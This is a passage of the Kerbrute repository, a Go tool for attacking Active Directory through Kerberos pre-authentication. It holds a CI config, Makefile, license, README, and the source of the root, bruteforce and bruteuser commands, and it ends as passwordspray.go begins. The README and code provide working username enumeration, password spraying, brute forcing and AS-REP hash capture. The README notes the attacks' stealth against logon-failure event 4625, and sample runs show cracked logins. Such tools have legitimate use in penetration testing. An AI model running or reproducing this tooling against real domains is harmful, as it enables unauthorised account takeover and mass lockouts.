├── .circleci └── config.yml ├── .gitignore ├── LICENSE ├── Makefile ├── README.md ├── cmd ├── bruteforce.go ├── bruteuser.go ├── kerbrute.go ├── passwordspray.go ├── setup.go ├── userenum.go ├── version.go └── worker.go ├── go.mod ├── go.sum ├── main.go ├── session ├── errors.go └── session.go └── util ├── banner.go ├── hash.go ├── log.go ├── username.go └── version.go /.circleci/config.yml: -------------------------------------------------------------------------------- 1 | version: 2 2 | jobs: 3 | build: 4 | docker: 5 | - image: circleci/golang:1.13 6 | working_directory: /go/src/github.com/ropnop/kerbrute 7 | steps: 8 | - checkout 9 | - run: VERSION=${CIRCLE_TAG} make all 10 | - store_artifacts: 11 | path: ./dist 12 | - persist_to_workspace: 13 | root: dist 14 | paths: 15 | - ./* 16 | 17 | github-release: 18 | docker: 19 | - image: cibuilds/github:0.10 20 | steps: 21 | - attach_workspace: 22 | at: ./artifacts 23 | - run: 24 | name: "Publish Binaries on Github" 25 | command: | 26 | ghr -t ${GITHUB_TOKEN} -u ${CIRCLE_PROJECT_USERNAME} -r ${CIRCLE_PROJECT_REPONAME} -c ${CIRCLE_SHA1} -delete ${CIRCLE_TAG} ./artifacts/ 27 | 28 | workflows: 29 | version: 2 30 | main: 31 | jobs: 32 | - build: 33 | filters: 34 | tags: 35 | only: /.*/ 36 | - github-release: 37 | filters: 38 | branches: 39 | ignore: /.*/ 40 | tags: 41 | only: /^v\d+\.\d+\.\d+$/ 42 | context: "Github Token" 43 | requires: 44 | - build 45 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Binaries for programs and plugins 2 | *.exe 3 | *.exe~ 4 | *.dll 5 | *.so 6 | *.dylib 7 | 8 | # Test binary, build with `go test -c` 9 | *.test 10 | 11 | # Output of the go coverage tool, specifically when used with LiteIDE 12 | *.out 13 | 14 | .vscode 15 | dist/ 16 | 17 | .DS_Store 18 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | TARGET=./dist 2 | ARCHS=amd64 386 3 | GOOS=windows linux darwin 4 | PACKAGENAME="github.com/ropnop/kerbrute" 5 | 6 | COMMIT=`git rev-parse --short HEAD` 7 | DATE=`date +%m/%d/%y` 8 | GOVERSION=`go version | cut -d " " -f 3` 9 | 10 | ifdef VERSION 11 | VERSION := $(VERSION) 12 | else 13 | VERSION := dev 14 | endif 15 | 16 | LDFLAGS="-X ${PACKAGENAME}/util.GitCommit=${COMMIT} \ 17 | -X ${PACKAGENAME}/util.BuildDate=${DATE} \ 18 | -X ${PACKAGENAME}/util.GoVersion=${GOVERSION} \ 19 | -X ${PACKAGENAME}/util.Version=${VERSION} \ 20 | " 21 | 22 | .PHONY: help windows linux mac all clean 23 | 24 | help: ## Show this help. 25 | @fgrep -h "##" $(MAKEFILE_LIST) | fgrep -v fgrep | sed -e 's/\\$$//' | sed -e 's/##//' 26 | 27 | windows: ## Make Windows x86 and x64 Binaries 28 | @for ARCH in ${ARCHS}; do \ 29 | echo "Building for windows $${ARCH}.." ;\ 30 | GOOS=windows GOARCH=$${ARCH} go build -a -ldflags ${LDFLAGS} -o ${TARGET}/kerbrute_windows_$${ARCH}.exe || exit 1 ;\ 31 | done; \ 32 | echo "Done." 33 | 34 | linux: ## Make Linux x86 and x64 Binaries 35 | @for ARCH in ${ARCHS}; do \ 36 | echo "Building for linux $${ARCH}..." ; \ 37 | GOOS=linux GOARCH=$${ARCH} go build -a -ldflags ${LDFLAGS} -o ${TARGET}/kerbrute_linux_$${ARCH} || exit 1 ;\ 38 | done; \ 39 | echo "Done." 40 | 41 | mac: ## Make Darwin (Mac) x86 and x64 Binaries 42 | @for ARCH in ${ARCHS}; do \ 43 | echo "Building for mac $${ARCH}..." ; \ 44 | GOOS=darwin GOARCH=$${ARCH} go build -a -ldflags ${LDFLAGS} -o ${TARGET}/kerbrute_darwin_$${ARCH} || exit 1 ;\ 45 | done; \ 46 | echo "Done." 47 | 48 | clean: ## Delete any binaries 49 | @rm -f ${TARGET}/* ; \ 50 | go clean -i -n github.com/ropnop/kerbrute ; \ 51 | echo "Done." 52 | 53 | all: ## Make Windows, Linux and Mac x86/x64 Binaries 54 | all: clean windows linux mac 55 | 56 | 57 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Kerbrute 2 | [![CircleCI](https://circleci.com/gh/ropnop/kerbrute.svg?style=svg)](https://circleci.com/gh/ropnop/kerbrute) 3 | 4 | A tool to quickly bruteforce and enumerate valid Active Directory accounts through Kerberos Pre-Authentication 5 | 6 | Grab the latest binaries from the [releases page](https://github.com/ropnop/kerbrute/releases/latest) to get started. 7 | 8 | ## Background 9 | This tool grew out of some [bash scripts](https://github.com/ropnop/kerberos_windows_scripts) I wrote a few years ago to perform bruteforcing using the Heimdal Kerberos client from Linux. I wanted something that didn't require privileges to install a Kerberos client, and when I found the amazing pure Go implementation of Kerberos [gokrb5](https://github.com/jcmturner/gokrb5), I decided to finally learn Go and write this. 10 | 11 | Bruteforcing Windows passwords with Kerberos is much faster than any other approach I know of, and potentially stealthier since pre-authentication failures do not trigger that "traditional" `An account failed to log on` event 4625. With Kerberos, you can validate a username or test a login by only sending one UDP frame to the KDC (Domain Controller) 12 | 13 | For more background and information, check out my Troopers 2019 talk, Fun with LDAP and Kerberos (link TBD) 14 | 15 | ## Usage 16 | Kerbrute has three main commands: 17 | * **bruteuser** - Bruteforce a single user's password from a wordlist 18 | * **bruteforce** - Read username:password combos from a file or stdin and test them 19 | * **passwordspray** - Test a single password against a list of users 20 | * **userenum** - Enumerate valid domain usernames via Kerberos 21 | 22 | A domain (`-d`) or a domain controller (`--dc`) must be specified. If a Domain Controller is not given the KDC will be looked up via DNS. 23 | 24 | By default, Kerbrute is multithreaded and uses 10 threads. This can be changed with the `-t` option. 25 | 26 | Output is logged to stdout, but a log file can be specified with `-o`. 27 | 28 | By default, failures are not logged, but that can be changed with `-v`. 29 | 30 | Lastly, Kerbrute has a `--safe` option. When this option is enabled, if an account comes back as locked out, it will abort all threads to stop locking out any other accounts. 31 | 32 | The `help` command can be used for more information 33 | 34 | ``` 35 | $ ./kerbrute -h 36 | 37 | __ __ __ 38 | / /_____ _____/ /_ _______ __/ /____ 39 | / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \ 40 | / ,< / __/ / / /_/ / / / /_/ / /_/ __/ 41 | /_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/ 42 | 43 | Version: dev (bc1d606) - 11/15/20 - Ronnie Flathers @ropnop 44 | 45 | This tool is designed to assist in quickly bruteforcing valid Active Directory accounts through Kerberos Pre-Authentication. 46 | It is designed to be used on an internal Windows domain with access to one of the Domain Controllers. 47 | Warning: failed Kerberos Pre-Auth counts as a failed login and WILL lock out accounts 48 | 49 | Usage: 50 | kerbrute [command] 51 | 52 | Available Commands: 53 | bruteforce Bruteforce username:password combos, from a file or stdin 54 | bruteuser Bruteforce a single user's password from a wordlist 55 | help Help about any command 56 | passwordspray Test a single password against a list of users 57 | userenum Enumerate valid domain usernames via Kerberos 58 | version Display version info and quit 59 | 60 | Flags: 61 | --dc string The location of the Domain Controller (KDC) to target. If blank, will lookup via DNS 62 | --delay int Delay in millisecond between each attempt. Will always use single thread if set 63 | -d, --domain string The full domain to use (e.g. contoso.com) 64 | --downgrade Force downgraded encryption type (arcfour-hmac-md5) 65 | --hash-file string File to save AS-REP hashes to (if any captured), otherwise just logged 66 | -h, --help help for kerbrute 67 | -o, --output string File to write logs to. Optional. 68 | --safe Safe mode. Will abort if any user comes back as locked out. Default: FALSE 69 | -t, --threads int Threads to use (default 10) 70 | -v, --verbose Log failures and errors 71 | 72 | Use "kerbrute [command] --help" for more information about a command. 73 | ``` 74 | 75 | ### User Enumeration 76 | To enumerate usernames, Kerbrute sends TGT requests with no pre-authentication. If the KDC responds with a `PRINCIPAL UNKNOWN` error, the username does not exist. However, if the KDC prompts for pre-authentication, we know the username exists and we move on. This does not cause any login failures so it will not lock out any accounts. This generates a Windows event ID [4768](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4768) if Kerberos logging is enabled. 77 | 78 | ``` 79 | root@kali:~# ./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt 80 | 81 | __ __ __ 82 | / /_____ _____/ /_ _______ __/ /____ 83 | / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \ 84 | / ,< / __/ / / /_/ / / / /_/ / /_/ __/ 85 | /_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/ 86 | 87 | Version: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop 88 | 89 | 2019/03/06 21:28:04 > Using KDC(s): 90 | 2019/03/06 21:28:04 > pdc01.lab.ropnop.com:88 91 | 92 | 2019/03/06 21:28:04 > [+] VALID USERNAME: amata@lab.ropnop.com 93 | 2019/03/06 21:28:04 > [+] VALID USERNAME: thoffman@lab.ropnop.com 94 | 2019/03/06 21:28:04 > Done! Tested 1001 usernames (2 valid) in 0.425 seconds 95 | ``` 96 | 97 | ### Password Spray 98 | With `passwordspray`, Kerbrute will perform a horizontal brute force attack against a list of domain users. This is useful for testing one or two common passwords when you have a large list of users. WARNING: this does will increment the failed login count and lock out accounts. This will generate both event IDs [4768 - A Kerberos authentication ticket (TGT) was requested](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4768) and [4771 - Kerberos pre-authentication failed](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4771) 99 | 100 | ``` 101 | root@kali:~# ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123 102 | 103 | __ __ __ 104 | / /_____ _____/ /_ _______ __/ /____ 105 | / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \ 106 | / ,< / __/ / / /_/ / / / /_/ / /_/ __/ 107 | /_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/ 108 | 109 | Version: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop 110 | 111 | 2019/03/06 21:37:29 > Using KDC(s): 112 | 2019/03/06 21:37:29 > pdc01.lab.ropnop.com:88 113 | 114 | 2019/03/06 21:37:35 > [+] VALID LOGIN: callen@lab.ropnop.com:Password123 115 | 2019/03/06 21:37:37 > [+] VALID LOGIN: eshort@lab.ropnop.com:Password123 116 | 2019/03/06 21:37:37 > Done! Tested 2755 logins (2 successes) in 7.674 seconds 117 | ``` 118 | 119 | ### Brute User 120 | This is a traditional bruteforce account against a username. Only run this if you are sure there is no lockout policy! This will generate both event IDs [4768 - A Kerberos authentication ticket (TGT) was requested](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4768) and [4771 - Kerberos pre-authentication failed](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4771) 121 | 122 | ``` 123 | root@kali:~# ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman 124 | 125 | __ __ __ 126 | / /_____ _____/ /_ _______ __/ /____ 127 | / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \ 128 | / ,< / __/ / / /_/ / / / /_/ / /_/ __/ 129 | /_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/ 130 | 131 | Version: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop 132 | 133 | 2019/03/06 21:38:24 > Using KDC(s): 134 | 2019/03/06 21:38:24 > pdc01.lab.ropnop.com:88 135 | 136 | 2019/03/06 21:38:27 > [+] VALID LOGIN: thoffman@lab.ropnop.com:Summer2017 137 | 2019/03/06 21:38:27 > Done! Tested 1001 logins (1 successes) in 2.711 seconds 138 | ``` 139 | 140 | ### Brute Force 141 | This mode simply reads username and password combinations (in the format `username:password`) from a file or from `stdin` and tests them with Kerberos PreAuthentication. It will skip any blank lines or lines with blank usernames/passwords. This will generate both event IDs [4768 - A Kerberos authentication ticket (TGT) was requested](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4768) and [4771 - Kerberos pre-authentication failed](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4771) 142 | ``` 143 | $ cat combos.lst | ./kerbrute -d lab.ropnop.com bruteforce - 144 | 145 | __ __ __ 146 | / /_____ _____/ /_ _______ __/ /____ 147 | / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \ 148 | / ,< / __/ / / /_/ / / / /_/ / /_/ __/ 149 | /_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/ 150 | 151 | Version: dev (n/a) - 05/11/19 - Ronnie Flathers @ropnop 152 | 153 | 2019/05/11 18:40:56 > Using KDC(s): 154 | 2019/05/11 18:40:56 > pdc01.lab.ropnop.com:88 155 | 156 | 2019/05/11 18:40:56 > [+] VALID LOGIN: athomas@lab.ropnop.com:Password1234 157 | 2019/05/11 18:40:56 > Done! Tested 7 logins (1 successes) in 0.114 seconds 158 | ``` 159 | 160 | ## Installing 161 | You can download pre-compiled binaries for Linux, Windows and Mac from the [releases page](https://github.com/ropnop/kerbrute/releases/tag/latest). If you want to live on the edge, you can also install with Go: 162 | 163 | ``` 164 | $ go get github.com/ropnop/kerbrute 165 | ``` 166 | 167 | With the repository cloned, you can also use the Make file to compile for common architectures: 168 | 169 | ``` 170 | $ make help 171 | help: Show this help. 172 | windows: Make Windows x86 and x64 Binaries 173 | linux: Make Linux x86 and x64 Binaries 174 | mac: Make Darwin (Mac) x86 and x64 Binaries 175 | clean: Delete any binaries 176 | all: Make Windows, Linux and Mac x86/x64 Binaries 177 | 178 | $ make all 179 | Done. 180 | Building for windows amd64.. 181 | Building for windows 386.. 182 | Done. 183 | Building for linux amd64... 184 | Building for linux 386... 185 | Done. 186 | Building for mac amd64... 187 | Building for mac 386... 188 | Done. 189 | 190 | $ ls dist/ 191 | kerbrute_darwin_386 kerbrute_linux_386 kerbrute_windows_386.exe 192 | kerbrute_darwin_amd64 kerbrute_linux_amd64 kerbrute_windows_amd64.exe 193 | ``` 194 | 195 | ## Credits 196 | Huge shoutout to jcmturner for his pure Go implementation of KRB5: https://github.com/jcmturner/gokrb5 . An amazing project and very well documented. Couldn't have done any of this without that project. 197 | 198 | Shoutout to [audibleblink](https://github.com/audibleblink) for the suggestion and implementation of the `delay` option! 199 | -------------------------------------------------------------------------------- /cmd/bruteforce.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "bufio" 5 | "os" 6 | "sync" 7 | "sync/atomic" 8 | "time" 9 | 10 | "github.com/ropnop/kerbrute/util" 11 | "github.com/spf13/cobra" 12 | ) 13 | 14 | // bruteuserCmd represents the bruteuser command 15 | var bruteForceCmd = &cobra.Command{ 16 | Use: "bruteforce [flags] ", 17 | Short: "Bruteforce username:password combos, from a file or stdin", 18 | Long: `Will read username and password combos from a file or stdin (format username:password) and perform a bruteforce attack using Kerberos Pre-Authentication by requesting at TGT from the KDC. Any succesful combinations will be displayed. 19 | If no domain controller is specified, the tool will attempt to look one up via DNS SRV records. 20 | A full domain is required. This domain will be capitalized and used as the Kerberos realm when attempting the bruteforce. 21 | WARNING: failed guesses will count against the lockout threshold`, 22 | Args: cobra.ExactArgs(1), 23 | PreRun: setupSession, 24 | Run: bruteForceCombos, 25 | } 26 | 27 | func init() { 28 | rootCmd.AddCommand(bruteForceCmd) 29 | } 30 | 31 | func bruteForceCombos(cmd *cobra.Command, args []string) { 32 | combolist := args[0] 33 | stopOnSuccess = false 34 | 35 | combosChan := make(chan [2]string, threads) 36 | defer cancel() 37 | 38 | var wg sync.WaitGroup 39 | wg.Add(threads) 40 | 41 | var scanner *bufio.Scanner 42 | if combolist != "-" { 43 | file, err := os.Open(combolist) 44 | if err != nil { 45 | logger.Log.Error(err.Error()) 46 | return 47 | } 48 | defer file.Close() 49 | scanner = bufio.NewScanner(file) 50 | } else { 51 | scanner = bufio.NewScanner(os.Stdin) 52 | } 53 | 54 | for i := 0; i < threads; i++ { 55 | go makeBruteComboWorker(ctx, combosChan, &wg) 56 | } 57 | 58 | start := time.Now() 59 | 60 | Scan: 61 | for scanner.Scan() { 62 | select { 63 | case <-ctx.Done(): 64 | break Scan 65 | default: 66 | comboline := scanner.Text() 67 | if comboline == "" { 68 | continue 69 | } 70 | username, password, err := util.FormatComboLine(comboline) 71 | if err != nil { 72 | logger.Log.Debug("[!] Skipping: %q - %v", comboline, err.Error()) 73 | continue 74 | } 75 | time.Sleep(time.Duration(delay) * time.Millisecond) 76 | combosChan <- [2]string{username, password} 77 | } 78 | } 79 | close(combosChan) 80 | wg.Wait() 81 | 82 | finalCount := atomic.LoadInt32(&counter) 83 | finalSuccess := atomic.LoadInt32(&successes) 84 | logger.Log.Infof("Done! Tested %d logins (%d successes) in %.3f seconds", finalCount, finalSuccess, time.Since(start).Seconds()) 85 | 86 | if err := scanner.Err(); err != nil { 87 | logger.Log.Error(err.Error()) 88 | } 89 | } 90 | -------------------------------------------------------------------------------- /cmd/bruteuser.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "bufio" 5 | "os" 6 | "sync" 7 | "sync/atomic" 8 | "time" 9 | 10 | "github.com/ropnop/kerbrute/util" 11 | 12 | "github.com/spf13/cobra" 13 | ) 14 | 15 | // bruteuserCmd represents the bruteuser command 16 | var bruteuserCmd = &cobra.Command{ 17 | Use: "bruteuser [flags] username", 18 | Short: "Bruteforce a single user's password from a wordlist", 19 | Long: `Will perform a password bruteforce against a single domain user using Kerberos Pre-Authentication by requesting at TGT from the KDC. 20 | If no domain controller is specified, the tool will attempt to look one up via DNS SRV records. 21 | A full domain is required. This domain will be capitalized and used as the Kerberos realm when attempting the bruteforce. 22 | WARNING: only run this if there's no lockout policy!`, 23 | Args: cobra.ExactArgs(2), 24 | PreRun: setupSession, 25 | Run: bruteForceUser, 26 | } 27 | 28 | func init() { 29 | rootCmd.AddCommand(bruteuserCmd) 30 | } 31 | 32 | func bruteForceUser(cmd *cobra.Command, args []string) { 33 | passwordlist := args[0] 34 | stopOnSuccess = true 35 | kSession.SafeMode = true 36 | username, err := util.FormatUsername(args[1]) 37 | if err != nil { 38 | logger.Log.Error(err.Error()) 39 | return 40 | } 41 | 42 | passwordsChan := make(chan string, threads) 43 | defer cancel() 44 | 45 | var wg sync.WaitGroup 46 | wg.Add(threads) 47 | 48 | var scanner *bufio.Scanner 49 | if passwordlist != "-" { 50 | file, err := os.Open(passwordlist) 51 | if err != nil { 52 | logger.Log.Error(err.Error()) 53 | return 54 | } 55 | defer file.Close() 56 | scanner = bufio.NewScanner(file) 57 | } else { 58 | scanner = bufio.NewScanner(os.Stdin) 59 | } 60 | 61 | for i := 0; i < threads; i++ { 62 | go makeBruteWorker(ctx, passwordsChan, &wg, username) 63 | } 64 | 65 | start := time.Now() 66 | 67 | var password string 68 | Scan: 69 | for scanner.Scan() { 70 | select { 71 | case <-ctx.Done(): 72 | break Scan 73 | default: 74 | password = scanner.Text() 75 | time.Sleep(time.Duration(delay) * time.Millisecond) 76 | passwordsChan <- password 77 | } 78 | } 79 | close(passwordsChan) 80 | wg.Wait() 81 | 82 | finalCount := atomic.LoadInt32(&counter) 83 | finalSuccess := atomic.LoadInt32(&successes) 84 | logger.Log.Infof("Done! Tested %d logins (%d successes) in %.3f seconds", finalCount, finalSuccess, time.Since(start).Seconds()) 85 | 86 | if err := scanner.Err(); err != nil { 87 | logger.Log.Error(err.Error()) 88 | } 89 | 90 | } 91 | -------------------------------------------------------------------------------- /cmd/kerbrute.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | 7 | "github.com/spf13/cobra" 8 | ) 9 | 10 | var rootCmd = &cobra.Command{ 11 | Use: "kerbrute", 12 | Short: "A tool to perform various bruteforce attacks against Windows Kerberos", 13 | Long: `This tool is designed to assist in quickly bruteforcing valid Active Directory accounts through Kerberos Pre-Authentication. 14 | It is designed to be used on an internal Windows domain with access to one of the Domain Controllers. 15 | Warning: failed Kerberos Pre-Auth counts as a failed login and WILL lock out accounts`, 16 | } 17 | 18 | func Execute() { 19 | if err := rootCmd.Execute(); err != nil { 20 | fmt.Println(err) 21 | os.Exit(1) 22 | } 23 | } 24 | 25 | func init() { 26 | rootCmd.PersistentFlags().StringVarP(&domain, "domain", "d", "", "The full domain to use (e.g. contoso.com)") 27 | rootCmd.PersistentFlags().StringVar(&domainController, "dc", "", "The location of the Domain Controller (KDC) to target. If blank, will lookup via DNS") 28 | rootCmd.PersistentFlags().StringVarP(&logFileName, "output", "o", "", "File to write logs to. Optional.") 29 | rootCmd.PersistentFlags().BoolVarP(&verbose, "verbose", "v", false, "Log failures and errors") 30 | rootCmd.PersistentFlags().BoolVar(&safe, "safe", false, "Safe mode. Will abort if any user comes back as locked out. Default: FALSE") 31 | rootCmd.PersistentFlags().IntVarP(&threads, "threads", "t", 10, "Threads to use") 32 | rootCmd.PersistentFlags().IntVarP(&delay, "delay", "", 0, "Delay in millisecond between each attempt. Will always use single thread if set") 33 | rootCmd.PersistentFlags().BoolVar(&downgrade, "downgrade", false, "Force downgraded encryption type (arcfour-hmac-md5)") 34 | rootCmd.PersistentFlags().StringVar(&hashFileName, "hash-file", "", "File to save AS-REP hashes to (if any captured), otherwise just logged") 35 | if delay != 0 { 36 | threads = 1 37 | } 38 | 39 | } 40 | -------------------------------------------------------------------------------- /cmd/passwordspray.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "bufio" 5 | "os" 6 | "sync" 7 | "sync/atomic" 8 | "time" 9 | 10 | "github.com/ropnop/kerbrute/util" 11 | 12 | "github.com/spf13/cobra" 13 | ) 14 | 15 | var usernameList string 16 | var password string 17 | 18 | // var userAsPass bool 19 | 20 | var passwordSprayCmd = 